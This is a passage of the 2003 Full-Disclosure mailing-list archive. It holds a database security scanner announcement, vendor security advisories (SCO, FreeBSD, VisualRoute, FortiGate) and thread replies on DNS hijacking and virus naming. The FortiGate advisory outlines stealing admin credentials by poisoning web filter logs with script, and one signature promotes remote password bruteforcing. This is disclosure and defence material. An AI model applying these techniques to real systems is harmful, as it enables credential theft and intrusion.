databases. Check out the site for a list/discription of the currently available probes... I'll let the README speak for itself: -------------=============< MetaCoretex >=============------------- 1. About 2. Contents 3. Using 4. Building 5. Greets =================================================================== 1. About what: MetaCoretex is an entirely JAVA vulnerability scanning framework which puts special emphasis on databases. Probe objects are written in JAVA by means of an easy to extend AbstractProbe class. Additionally, probe generators make the process of writting simple probes almost automagic. who: visigoth - features: - JDBC - All JDBC type 4 drivers are accessable, making MetaCoretex a very strong platform for creating database scanning probes. Many probes are capable of determining things like version without having to be aware of the underlying database type. - KB - Per target knowlege-base which probes can use to share information. Most importantly, the KB can not only store string types, but is fully capable of storing references to Objects. For example, a MySQL database probe which forms a connection to a DB can then put the successful connection object into the KB for other probes to use the ACTUAL connection later! - Probe Options - The API includes the ability for each probe to specify the configuration options available to users. This means that probes which require user input do not require updates to the UI to support that input. - Threaded - Of course it is. - XML Configs - All scan configuration options may be saved in XML scan configuration files to be loaded again later. This includes all options specified and set by probes using the addOption() method. - XML Reports - Reports are saved into XML formats which have simple to use, publicly available schema for development of custom report tools. Reports may, of course, be loaded back into the interface for reading. - Platform Independance - Write once, debug everywhere... - 0 Install - MetaCoretex requires no installation or other hastles other than a modern JVM. For that reason, it can be run from CD, or easily loaded on any box with JAVA. - Probe Generator - For many types of commonly developed probes, a probe creation wizard is capable of generating custom JAVA source which users can compile into loadable modules. MetaCoretex uses the sun javac classes if available to compile user generated probes. - XML Updates - A fully automated system manages probes in the CVS repository and publishes them via SSH to the XML update server for your updating pleasure. Any new probes checked into the CVS tree will be compiled and distributed in a matter of hours. Additionally, updates to the engine can be received by the same means. - Probe Submission Wizard - If you craft a probe, and would like to submit it, just use the wizard to post it via HTTPS for consideration! why: Fundamentally it is a result of the combination of my frustration with current assessment tools and lack of balancing forces in my life ;). =================================================================== 2. Contents =================================================================== 3. Usage =================================================================== 4. Building =================================================================== 5. Greets Siitaa - The love of my life Fhqwagads - gengis et. al. Phatix - Must.. Ping.. Pong.. Sovran Crew - recondo,grynja,disco-stu.. Digital Revelation - ALL YOUR BOX ARE BELONG TO US el8 - love from the enemy 5.1 - Phux0rz SCO - wtf are you thinking?!?! =================================================================== Thanks for reading this far ;) -visigoth -- "Omnis tuus capsa sunt inesse nos" -------------------------------------------------- Ever wanted to... read registry entries remotely?..as LocalSystem? ...from linux? portscan a system?..from itself?..to the loopback?..to another? bruteforce passwds?..using the target system's CPU? MetaCoretex - Finally, an open DB Security Scanner! www.metacoretex.com -------------------------------------------------- Security Centric Labs www.securitycentric.com -------------------------------------------------- From jheidtke at fmlh.edu Thu Oct 2 14:50:11 2003 From: jheidtke at fmlh.edu (Jerry Heidtke) Date: Thu, 2 Oct 2003 08:50:11 -0500 Subject: [Full-Disclosure] FW: This beats me!!! Message-ID: <41B1FD84D49E05448A4233378E6BF475163C44@entmsgnt03.fm.frd.fmlh.edu> This is a documented feature of MS Word, used to insert sample text into a document. People who have worked with desktop publishing or page layout programs may remember "Ipsum Lorem...", which was similar. This can be useful to test how various formats and styles look. See http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B212251 It's not any kind of security issue, and not even a joke or an "Easter Egg". For the idly curious without access to MS Word, the function inserts "The quick brown fox jumps over the lazy dog." into the document. The first number is how many paragraphs should be created, the second number is how many copies of the sentence should be in each paragraph. To demonstrate the feature, low numbers, or no numbers at all (it defaults to (3,5), could be used. Asking people to type in (200,99) is a little extreme, or a cute practical joke, or something... Jerry -----Original Message----- From: Frikkie Botha [mailto:fbotha at g5.co.za] Sent: Thursday, October 02, 2003 2:06 AM To: 'full-disclosure at lists.netsys.com' Subject: [Full-Disclosure] FW: This beats me!!! Not even Bill Gates can explain this one! Try this: Open a word document and type: = rand (200,99) Press Enter and wait for 3 seconds.... Confidentiality Notice: This e-mail message, including any attachments, is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies of the original message. From etomcat at freemail.hu Thu Oct 2 15:06:17 2003 From: etomcat at freemail.hu (Feher Tamas) Date: Thu, 2 Oct 2003 16:06:17 +0200 (CEST) Subject: [Full-Disclosure] Re: Asynchronous, industry-wide virus naming scheme proposed Message-ID: Hello, >Interesting post... one thing tho, those root "VNS" servers will >instantly be the target of DDoS attack by the virus writers... As the root-VNS server need not serve end users, only the vendor-VNS and maybe vendor-reseller-VNS servers, they could drop any packet not coming from trusted IP addesses or just use data transmit line that are not part of the internet. Protecting vendor-VNS servers against DDoS is up to each AV-vendor, e.g. they could rent massive capacity at Akamai.net or other huge datapipe provide. FYIF, McAfee (NAI) already uses Akamai to distribute its virus signature database updates. >But I think its a problem that has a non-technological >solution, if any solution is possible. Indeed my proposal may be way over-complicated, but I do feel virus naming must be technology-assisted. Else it will never be uniform and crackers will reign over the confusion, while innocent, hex-illiterate computer users continue to suck. Sincerely: Tamas Feher. From vogt at hansenet.com Thu Oct 2 15:12:53 2003 From: vogt at hansenet.com (vogt at hansenet.com) Date: Thu, 2 Oct 2003 16:12:53 +0200 Subject: AW: [Full-Disclosure] Asynchronous, industry-wide virus naming sc heme proposed Message-ID: > Yet, I propose a project that reduces its scope to reaching a uniform > and industry-wide virus name for any malware some 24-36h after the > first discovery is still feasible and realistic. The weather frogs have this problem solved for as long as I can think. Of course, they don't have financial pressure to make the headlines, so the names don't have to be flashy. Tom From rodrigob at suespammers.org Thu Oct 2 15:19:22 2003 From: rodrigob at suespammers.org (Rodrigo Barbosa) Date: Thu, 2 Oct 2003 11:19:22 -0300 Subject: [Full-Disclosure] New Tool: MetaCoretex (DB Security Scanner) In-Reply-To: <20031002064814.A24240@niobi.securitycentric.com> References: <20031002064814.A24240@niobi.securitycentric.com> Message-ID: <20031002141922.GQ1748@suespammers.org> On Thu, Oct 02, 2003 at 06:48:14AM -0700, visigoth wrote: > > Greetings all! I am pleased to announce the initial public release of a > toy I have been working on for a little while now... > > MetaCoretex is an OpenSource, JAVA based, database capable security scanner > with a kewl set of features. We have a bunch of spiffy probes already which > are capable of doing fun things to databases. Check out the site for a > list/discription of the currently available probes... Care to make a quick comparation against nessus for us here ? This is a good start point to get people plugged on your software :) []s PS.: My english skills seen to have deserted me today :( -- Rodrigo Barbosa "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/126639a1/attachment.bin From etomcat at freemail.hu Thu Oct 2 15:20:47 2003 From: etomcat at freemail.hu (Feher Tamas) Date: Thu, 2 Oct 2003 16:20:47 +0200 (CEST) Subject: [Full-Disclosure] Re: CyberInsecurity: The cost of Monopoly Message-ID: >keep in mind that the dangers of using software or >PCs' are mostly those of wasting time, financial loss, >identity theft, but not injury or death. Well, I disagree. A person who loses an entire life's savings due to Internet identity theft may end up hanging or shooting self. Worms, that forwared document files in e-mail infected computer, have already disclosed people's private medical / sex data to the public. You could lose your job or school seat, if others find out you have Hepatitis- C or HIV. Your life could be ruined. Some people got killed during the big US blackout, which lasted almost a day, instead of 15 minutes, because SCADA systems were blocked by MSBlaster/LovSan traffic. An innocent person, whose trojanized computer is hijacked by muslim armed resistance for secret communication, may easily find him/herself in a pit in Guantanamo for a few months at least, until he/she is cleared. Not exactly healthy. Regards, Tama Feher. From pauls at utdallas.edu Thu Oct 2 16:39:13 2003 From: pauls at utdallas.edu (Schmehl, Paul L) Date: Thu, 2 Oct 2003 10:39:13 -0500 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <871080DEC5874D41B4E3AFC5C400611E03F60C12@UTDEVS02.campus.ad.utdallas.edu> > -----Original Message----- > From: Andre Ludwig [mailto:ALudwig at Calfingroup.com] > Sent: Wednesday, October 01, 2003 10:42 PM > To: 'hobbit at avian.org'; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] Mystery DNS Changes > > > Somewhat off topic, but a killer dhcp toolset that i have > played with a bit is Gobbler from www.networkpenetration.com > . Might give some people who don't understand the whole DHCP > vulnerability thing a bit of an education. It would be nice if the page was viewable in Netscape on Linux. It's just a big, dark blue screen with no text using Netscape 4.79 on Gentoo. Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu/~pauls/ From se_cur_ity at hotmail.com Thu Oct 2 12:08:06 2003 From: se_cur_ity at hotmail.com (morning_wood) Date: Thu, 2 Oct 2003 16:38:06 +0530 Subject: [Full-Disclosure] Visualroute Server - reverse tracerouting Message-ID: Vendor Response follows... ------------------------------------------------------------------ - EXPL-A-2003-025 exploitlabs.com Advisory 025 ------------------------------------------------------------------ -= Visualroute Server =- Donnie Werner Oct 1, 2003 Vunerability(s): ---------------- 1. reverse tracerouting fingerprinting / discovery vunerability allowing intranet ( LAN ) mapping by way of Visualroute servers being accessed from the internet ( WAN ) Product: -------- http://www.visualware.com/personal/demo/index.html Reviews: -------- http://www.visualware.com/company/pressroom/coverage.html Description of product: ----------------------- VisualRoute Server adds Web server functionality so that multiple users can easily access the server via a Web browser, regardless of their location. Traces originate from the VisualRoute Server system and may be run back to the end-user location or to any other IP address or Web server. VUNERABILITY / EXPLOIT ====================== the core issue here is that by specififying an internal ip such as 192.168.0.*, 10.*.*.*, or 172.18.18.* or any other reserved ( private ) address you are able to map the internal lan structure via an external ( WAN ) address from the internet. standard trace route example: ------------------------------ standard traceroute server request requesting a trace to from exploitlabs.com to a Visualroute Server we may see.. output.. 12.230.0.205 ( exploitlabs.com ) 12.244.x.5 - isp router 24.x.200.x - target isp router 24.x.240.2 - target destination reached in bla seconds - complete packet loss 0% now on a Visualroute Server the originating trace begins at the target server, traces through routers to dest. so for example asking a server running Visualroute Server the same request we get 24.x.240.2 - target ip 24.x.200.x - target isp router 12.244.x.5 - isp router 12.230.0.205 ( exploitlabs.com ) let us now assume the same target/Visualroute Server is behind a router/switch with port forwarding to the Visualroute Server daemon 192.168.0.2 - target originating system 192.168.0.1 - target router / switch 24.x.200.x - target ip 24.x.240.2 - target isp router 12.244.x.5 - isp router 12.230.0.205 ( exploitlabs.com ) now we can discover the lan topology the traceroure was initiated from, as the origin of the trace is internal to the originating Visualroute Server Local: ------ possibly Remote: ------- yes Vendor Fix: ----------- No fix on 0day Vendor Contact: --------------- Concurrent with this advisory sales at visualware.com see below in this post Credits: -------- Donnie Werner CTO E2 Labs morning_wood at e2-labs.com http://www.e2-labs.com http://nothackers.org - home of the 0day Security List VENDOR RESPONSE ------------------------ > ----- Original Message ----- > From: "Julie Lancaster" > To: "'morning_wood'" > Sent: Wednesday, October 01, 2003 8:42 PM > Subject: RE: Visualroute Server - reverse tracerouting > > > Hello, > > VisualRoute Server has a security option to prevent traces to secure IP > addresses: > > Preventing traces to Secure IP Addresses: To prevent a VisualRoute trace > to a particular IP address (or range of IP addresses), edit the > .\data\user\secure.txt text file (a file you must create). Each line in > this file is "cidr-address,x". For example, here is an example > secure.txt file that secures two IP ranges: > > 198.242.57/24,x > 201.109/16,x > > If there is an attempt to trace directly to any secure IP in this list, > it will be treated like a DNS error (does not exist). If the IP address > shows up in a trace, it will be replaced by the 'x' in the line > definition. > > Regards, > Julie Lancaster > > Visualware Inc. - Internet Security and Performance Tools > www.visualware.com > > -----Original Message----- > From: morning_wood [mailto:se_cur_ity at hotmail.com] > Sent: Wednesday, October 01, 2003 12:47 PM > To: julie.lancaster at visualware.com > Subject: Re: Visualroute Server - reverse tracerouting > > > Julie, thank you very much for the info > and the timely response, did i miss it in the readme ? > > Donnie Werner > CTO e2 labs > http://e2-labs.com/about.htm > > ----- Original Message ----- > From: "Julie Lancaster" > To: "'morning_wood'" > Sent: Wednesday, October 01, 2003 10:25 PM > Subject: RE: Visualroute Server - reverse tracerouting > > > Hello, > > The information is in the on-line manual, not the readme. You may find > it right above the Host/Port section at this link, > http://www.visualware.com/manuals/visualroute/manual.html#hostport. > > We provide the security option, but it is the responsibility of the > administrator to set the security for their requirements. > > Regards, > Julie Lancaster > > Visualware Inc. - Internet Security and Performance Tools > www.visualware.com > ----- Original Message ----- From: "morning_wood" To: Sent: Wednesday, October 01, 2003 11:02 PM Subject: Re: Visualroute Server - reverse tracerouting > my apology, but this... > > -------------- snip ---------------- > Preventing traces to Secure IP Addresses: To prevent a VisualRoute trace to > a particular IP address (or range of IP addresses), edit the > .\data\user\secure.txt text file (a file you must create). Each line in this > file is "cidr-address,x". For example, here is an example secure.txt file > that secures two IP ranges > ------------- snip ------------------ > > should possibly suggest LAN ip address ranges as the info > provided is quite cluless as to even a seasoned admin > i can bet in 99% of users they are just as cluless as the description > itself is. i point out that even your list of servers at > http://www.visualware.com/personal/demo/index.html > *most* are vunerable to this exact attack. > > Donnie Werner > CTO e2-labs.com From visigoth at securitycentric.com Thu Oct 2 17:02:30 2003 From: visigoth at securitycentric.com (visigoth) Date: Thu, 2 Oct 2003 09:02:30 -0700 Subject: [Full-Disclosure] New Tool: MetaCoretex (DB Security Scanner) In-Reply-To: <20031002141922.GQ1748@suespammers.org>; from rodrigob@suespammers.org on Thu, Oct 02, 2003 at 11:19:22AM -0300 References: <20031002064814.A24240@niobi.securitycentric.com> <20031002141922.GQ1748@suespammers.org> Message-ID: <20031002090230.A32103@niobi.securitycentric.com> On Thu, Oct 02, 2003 at 11:19:22AM -0300, Rodrigo Barbosa wrote: > Care to make a quick comparation against nessus for us here ? > This is a good start point to get people plugged on your software :) Sure! I love Nessus, and would never want to degrade it in any way. MetaCoretex has a strong database focus because of the JAVA JDBC construct. JDBC Type IV drivers are database drivers that are completely written in JAVA. This means, I can include one JAR in my classpath and have access to libraries to communicate with Oracle, MsSQL, MySQL et. all. without haveing to install any database software. People could certianly write probes for the tool which are not database related (I think I may start writting some that test application servers), but this is clearly one of the strengths. MetaCoretex's "knowledge base" is used by probes to hand off information for other probes' later use. One of the largest features of MetaCoretex is that this KB stores Objects, not Strings. This means that if any probe manages to get a connection to a database instance, it can put that ConnectionObject into the KB so other probes which test the DB don't even need to bother with connection logic. Additionally, probes are written as extensions of already existing AbstractProbe objects which have almost everything you need already done. The probes are written in JAVA which means that the only limitations to what you can do in a probe would have to be limitations of the JAVA programming language (heh, so none right? not.. raw sockets... *sniff*). MetaCoretex is also completely stand alone and requires only a modern JVM. There is nothing to compile or install in any way. Updates are handled by the wizard, and there are even probe generators for some of the common probe types. Don't fret about the lack of docs ;) I'll get some better stuff together soon... Hope that helps, -visigoth -- "Omnis tuus capsa sunt inesse nos" -------------------------------------------------- Ever wanted to... read registry entries remotely?..as LocalSystem? ...from linux? portscan a system?..from itself?..to the loopback?..to another? bruteforce passwds?..using the target system's CPU? MetaCoretex - Finally, an open DB Security Scanner! www.metacoretex.com -------------------------------------------------- Security Centric Labs www.securitycentric.com -------------------------------------------------- From joost at pine.nl Thu Oct 2 17:38:27 2003 From: joost at pine.nl (Joost Pol) Date: Thu, 2 Oct 2003 18:38:27 +0200 Subject: [Full-Disclosure] PINE-CERT-20030901: Integer Overflow in FreeBSD Kernel [fhold] Message-ID: <20031002163827.GA17192@atro.pine.nl> A non-text attachment was scrubbed... Name: msg.pgp Type: application/pgp Size: 3827 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/6af2eeef/attachment.bin From dotslash at snosoft.com Fri Oct 3 17:28:08 2003 From: dotslash at snosoft.com (KF) Date: Fri, 03 Oct 2003 12:28:08 -0400 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <871080DEC5874D41B4E3AFC5C400611E03F60C12@UTDEVS02.campus.ad.utdallas.edu> References: <871080DEC5874D41B4E3AFC5C400611E03F60C12@UTDEVS02.campus.ad.utdallas.edu> Message-ID: <3F7DA398.20702@snosoft.com> Linux Mozilla is happy with it... perhaps its time for a switch? =] -KF Schmehl, Paul L wrote: >>-----Original Message----- >>From: Andre Ludwig [mailto:ALudwig at Calfingroup.com] >>Sent: Wednesday, October 01, 2003 10:42 PM >>To: 'hobbit at avian.org'; full-disclosure at lists.netsys.com >>Subject: RE: [Full-Disclosure] Mystery DNS Changes >> >> >>Somewhat off topic, but a killer dhcp toolset that i have >>played with a bit is Gobbler from www.networkpenetration.com >>. Might give some people who don't understand the whole DHCP >>vulnerability thing a bit of an education. > > > It would be nice if the page was viewable in Netscape on Linux. It's > just a big, dark blue screen with no text using Netscape 4.79 on Gentoo. > > Paul Schmehl (pauls at utdallas.edu) > Adjunct Information Security Officer > The University of Texas at Dallas > AVIEN Founding Member > http://www.utdallas.edu/~pauls/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From joost at pine.nl Thu Oct 2 17:43:14 2003 From: joost at pine.nl (Joost Pol) Date: Thu, 2 Oct 2003 18:43:14 +0200 Subject: [Full-Disclosure] PINE-CERT-20030902: Integer Overflow in FreeBSD Kernel [uio] Message-ID: <20031002164314.GA17275@atro.pine.nl> A non-text attachment was scrubbed... Name: msg.pgp Type: application/pgp Size: 3862 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031002/4eb949ba/attachment.bin From dufresne at winternet.com Thu Oct 2 17:50:15 2003 From: dufresne at winternet.com (Ron DuFresne) Date: Thu, 2 Oct 2003 11:50:15 -0500 (CDT) Subject: [Full-Disclosure] Microsoft moves beyond patches In-Reply-To: <1065071032.507.101.camel@localhost> Message-ID: On Thu, 2 Oct 2003, Frank Knobbe wrote: > The funniest thing in a while.... Microsoft is conceding defeat on the > patch front AND running in the wrong direction: > > http://news.com.com/2100-1002_3-5085251.html?tag=st_lh > > Somebody please tell them that the days of perimeter defense have come > and passed... Unless you are promoting host based defense, which is not quite there yet, and an administrative nightmare, I think you'd find a strong argument this is *not* the case, at least at present. Thanks, Ron DuFresne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From security at sco.com Thu Oct 2 18:01:45 2003 From: security at sco.com (security at sco.com) Date: Thu, 2 Oct 2003 10:01:45 -0700 Subject: [Full-Disclosure] OpenServer 5.0.7 : OpenSSH: multiple buffer handling problems Message-ID: <20031002100145.A18066@caldera.com> To: announce at lists.sco.com bugtraq at securityfocus.com full-disclosure at lists.netsys.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: OpenServer 5.0.7 : OpenSSH: multiple buffer handling problems Advisory number: CSSA-2003-SCO.24 Issue date: 2003 October 1 Cross reference: sr884749 fz528324 erg712436 CERT VU#33362 CERT VU#602204 CAN-2003-0693 CAN-2003-0786 CAN-2003-0695 CAN-2003-0682 ______________________________________________________________________________ 1. Problem Description Several buffer management errors and memory bugs are corrected by this patch. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the following names to these issues. CAN-2003-0693, CAN-2003-0695, CAN-2003-0682, CAN-2003-0786. The CERT Coordination Center has assigned the following names VU#333628, and VU#602204. CERT VU#333628 / CAN-2003-0693: A "buffer management error" in buffer_append_space of buffer.c for OpenSSH before 3.7 may allow remote attackers to execute arbitrary code by causing an incorrect amount of memory to be freed and corrupting the heap, a different vulnerability than CAN-2003-0695 CAN-2003-0695: Multiple "buffer management errors" in OpenSSH before 3.7.1 may allow attackers to cause a denial of service or execute arbitrary code using (1) buffer_init in buffer.c, (2) buffer_free in buffer.c, or (3) a separate function in channels.c, a different vulnerability than CAN-2003-0693. CAN-2003-0682: "Memory bugs" in OpenSSH 3.7.1 and earlier, with unknown impact, a different set of vulnerabilities than CAN-2003-0693 and CAN-2003-0695. CERT VU#602204 / CAN-2003-0786: Portable OpenSSH versions 3.7p1 and 3.7.1p1 contain multiple vulnerabilities in the new PAM code. At least one of these bugs is remotely exploitable (under a non-standard configuration, with privsep disabled). OpenServer is not configured to use PAM, so is not vulnerable. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- OpenServer 5.0.7 OpenSSH Distribution 3. Solution The proper solution is to install the latest packages. 4. OpenServer 5.0.7 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/OpenServer/CSSA-2003-SCO.24 4.2 Verification MD5 (VOL.000.000) = f36194ca559c850794874f9c7a0b2a18 MD5 (VOL.000.001) = 02b76bd551a0a95f2544b8999c6fbcbf MD5 (VOL.000.002) = 6818513c946dbcd43a3f34fc19ef79fc MD5 (VOL.000.003) = 8149c475968c3d7318eda33f30ce8045 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to the /tmp directory 2) Run the custom command, specify an install from media images, and specify the /tmp directory as the location of the images. 5. References Specific references for this advisory: http://www.openssh.com/txt/buffer.adv http://www.mindrot.org/pipermail/openssh-unix-announce/2003-September/000063.html http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/ports/security/openssh/files/patch-buffer.c http://marc.theaimsgroup.com/?l=openbsd-misc&m=106371592604940 http://marc.theaimsgroup.com/?l=openbsd-security-announce&m=106375582924840 SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr884749 fz528324 erg712436. 6. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (SCO/UNIX_SVR5) iD8DBQE/eyW6aqoBO7ipriERAugiAJwP8ehQ81QNC7EuX8NEkINrtvII0gCfTbZl HrkB1nNF8uxgUSgnWHR61O4= =p5ga -----END PGP SIGNATURE----- From kurtbuff at spro.net Thu Oct 2 18:35:36 2003 From: kurtbuff at spro.net (Kurt) Date: Thu, 2 Oct 2003 10:35:36 -0700 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <20031001201116.2C79EC30C@relayer.avian.org> Message-ID: <064201c3890b$982b5c90$3f05a8c0@bfgapollo1> That's not exactly the way it works for Windows boxes. Anything that's statically entered will not be overridden by the DHCP assignment. Thus, when they are touched by this web page, most likely that's what's happening - they are getting a static assignment of DNS servers from the trojan. That remains, even across reboots. | -----Original Message----- | From: full-disclosure-admin at lists.netsys.com | [mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of *Hobbit* | Sent: Wednesday, October 01, 2003 13:11 | To: full-disclosure at lists.netsys.com | Subject: Re: [Full-Disclosure] Mystery DNS Changes | | | ... DHCP enabled workstations have had | their DNS reconfigured to point to two of the three addresses | | User-driven trojan or not, machines running DHCP can pretty much | be told by a DHCP server that their leases are up and it's time to | renumber, and then that their new DNS servers are X Y and maybe Z. | This is part of the protocol, astoundingly enough, but spells | "attack vector" any way *I* look at it. | | This would probably work on most cable-modem infrastructures, at | least where the provider hasn't done anything about the fact that | any customer [i.e. customer's box, forget the human] can become | a rogue DHCP server. Within a soft chewy corporate net, a rogue | server probably presents an even higher risk cuz *none* of the end | user boxes would have the benefit of a somewhat protective device | [cable modem with clueful config] in between it and the rogue. | | Expect it. Script your bootup to nuke dhclient/dhcpcd/whatever | after it's gotten an address, and sanity-check what you get back. | DHCP clients, at least in the unix world, generally run OUTSIDE | your filters, as ROOT. Windows users, you're probably just hosed, | because if you stop "DHCP client" you release your address. | | _H* | | _______________________________________________ | Full-Disclosure - We believe in it. | Charter: http://lists.netsys.com/full-disclosure-charter.html | From subscriptions at hartsuijker.com Thu Oct 2 19:08:01 2003 From: subscriptions at hartsuijker.com (Maarten) Date: Thu, 2 Oct 2003 20:08:01 +0200 Subject: [Full-Disclosure] exploiting fortigate firewall through webinterface Message-ID: <00d301c38910$1e66c700$195019ac@thesnitch> Issue: Several vulnerabilities in web interface of Fortigate firewall of which the most serious one will allow a remote attacker to obtain a username and password of the Fortigate. Release: pre 2.50 maintenance release 4 Fixed in: Fortinet OS 2.50 MR4, available from FTP as of 29 Sept. 2003 Date: 14/sept/2003 Vendor first notified: 14/sept/2003 During a review of the FortiGate firewall, I noticed several security flaws in their webapplication. Combining two of the issues could allow a remote attacker to obtain a username and password of the fortigate. FortiNet has fixed one of the most serious flaws in the maintenance release 4, that is available for customers on their FTP as off this week. Since the other issues have not yet been fixed, I will not disclose these details at this time. Web filter log parses unfiltered session details: After the web filter has been enabled, the administrator has the ability to review the web filter logs via the web interface. The web filter logs contain the URL that has been denied by the filter. Because of the fact that unwanted characters are not stripped from the denied URL, a remote attacker is able to gain the credentials of an administrator, as soon as the administrator reviews the logs. An example: Pages with the keyword "mp3-download" are denied by the web filter. The page contains such a keyword. A remote attacker could poison the log files by retrieving '' http://192.168.5.11/maarten.html When altering the script a bit, the user credentials could easily be forwarded to the attacker, who could then use these credentials to alter the firewall if the administrator has not properly secured access to HTTPS/SSH/TELNET/HTTP. Solution: 1. A basic rule in firewall administration is to only allow connections to the firewall-administration-options from specific IP addresses (or preferably, specific IP addresses connecting from a management network to the management interface of the firewall). When this best practise is applyed, an attacker that manages to gain administration credentials as described above, will not be able to abuse them too easily. 2. Manage your firewall from a dedicated workstation that has no connections (directly OR through a proxy) to untrusted networks in order to avoid a credential push as described above. 3. Upgrade FortiOS 2.50MR4, which (according to fortinet) does not contain this problem. The first two solutions will also prevent abusal by the issues that have not yet been disclosed. From security-advisories at freebsd.org Thu Oct 2 18:37:38 2003 From: security-advisories at freebsd.org (FreeBSD Security Advisories) Date: Thu, 2 Oct 2003 10:37:38 -0700 (PDT) Subject: [Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-03:16.filedesc Message-ID: <200310021737.h92Hbcfa029098@freefall.freebsd.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-03:16.filedesc Security Advisory The FreeBSD Project Topic: file descriptor leak in readv Category: core Module: kernel Announced: 2003-10-02 Credits: Joost Pol Affects: FreeBSD 4.3-RELEASE through 4.8-RELEASE 4-STABLE prior to the correction date Corrected: 2003-10-02 15:08:01 UTC (RELENG_4, 4.9-RC) 2003-10-02 15:54:48 UTC (RELENG_4_8, 4.8-RELEASE-p11) 2003-10-02 15:55:54 UTC (RELENG_4_7, 4.7-RELEASE-p21) 2003-10-02 15:56:56 UTC (RELENG_4_6, 4.6-RELEASE-p24) 2003-10-02 15:57:48 UTC (RELENG_4_5, 4.5-RELEASE-p35) 2003-10-02 15:58:53 UTC (RELENG_4_4, 4.4-RELEASE-p45) 2003-10-02 16:05:44 UTC (RELENG_4_3, 4.3-RELEASE-p41) FreeBSD only: YES For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background The readv(2) system call performs a scatter read: it reads from the input file descriptor and stores the data into multiple buffers as instructed by the caller. II. Problem Description A programming error in the readv system call can result in the given file descriptor's reference count being erroneously incremented. III. Impact A local attacker may cause the operating system to crash by repeatedly calling readv on a file descriptor until the reference count wraps to a negative value, and then calling close on that file descriptor. Similarly, it may be possible to cause a file descriptor to reference unallocated kernel memory, but remain valid. If a new file is later opened and the kernel allocates the new file structure at the same memory location, then an attacker may be able to gain read or write access to that file. This may in turn lead to privilege escalation. IV. Workaround There is no workaround. V. Solution The following patch has been verified to apply to FreeBSD 4.3, 4.4, 4.5, 4.6, 4.7, and 4.8 systems. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:16/filedesc.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:16/filedesc.patch.asc b) Apply the patch. # cd /usr/src # patch < /path/to/patch c) Recompile your kernel as described in and reboot the system. VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Branch Revision Path - ------------------------------------------------------------------------- RELENG_4 src/sys/kern/sys_generic.c 1.55.2.11 RELENG_4_8 src/UPDATING 1.73.2.80.2.13 src/sys/conf/newvers.sh 1.44.2.29.2.12 src/sys/kern/sys_generic.c 1.55.2.10.12.1 RELENG_4_7 src/UPDATING 1.73.2.74.2.24 src/sys/conf/newvers.sh 1.44.2.26.2.23 src/sys/kern/sys_generic.c 1.55.2.10.10.1 RELENG_4_6 src/UPDATING 1.73.2.68.2.53 src/sys/conf/newvers.sh 1.44.2.23.2.41 src/sys/kern/sys_generic.c 1.55.2.10.8.1 RELENG_4_5 src/UPDATING 1.73.2.50.2.52 src/sys/conf/newvers.sh 1.44.2.20.2.36 src/sys/kern/sys_generic.c 1.55.2.10.6.1 RELENG_4_4 src/UPDATING 1.73.2.43.2.53 src/sys/conf/newvers.sh 1.44.2.17.2.44 src/sys/kern/sys_generic.c 1.55.2.10.4.1 RELENG_4_3 src/UPDATING 1.73.2.28.2.40 src/sys/conf/newvers.sh 1.44.2.14.2.30 src/sys/kern/sys_generic.c 1.55.2.10.2.1 - ------------------------------------------------------------------------- VII. References -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQE/fGDRFdaIBMps37IRAnkpAKCFM8MrujjJN1tc4lZwii573usNvgCfdBeP APcFpW5FsH+sLkWczgjj6eE= =6zO7 -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" From smcmahon at eiv.com Thu Oct 2 20:37:46 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Thu, 2 Oct 2003 15:37:46 -0400 Subject: [Full-Disclosure] Google FILTERS searches for possible DMCA infringable content!!! In-Reply-To: <200310012316.56022.jeremiah@nur.net> References: 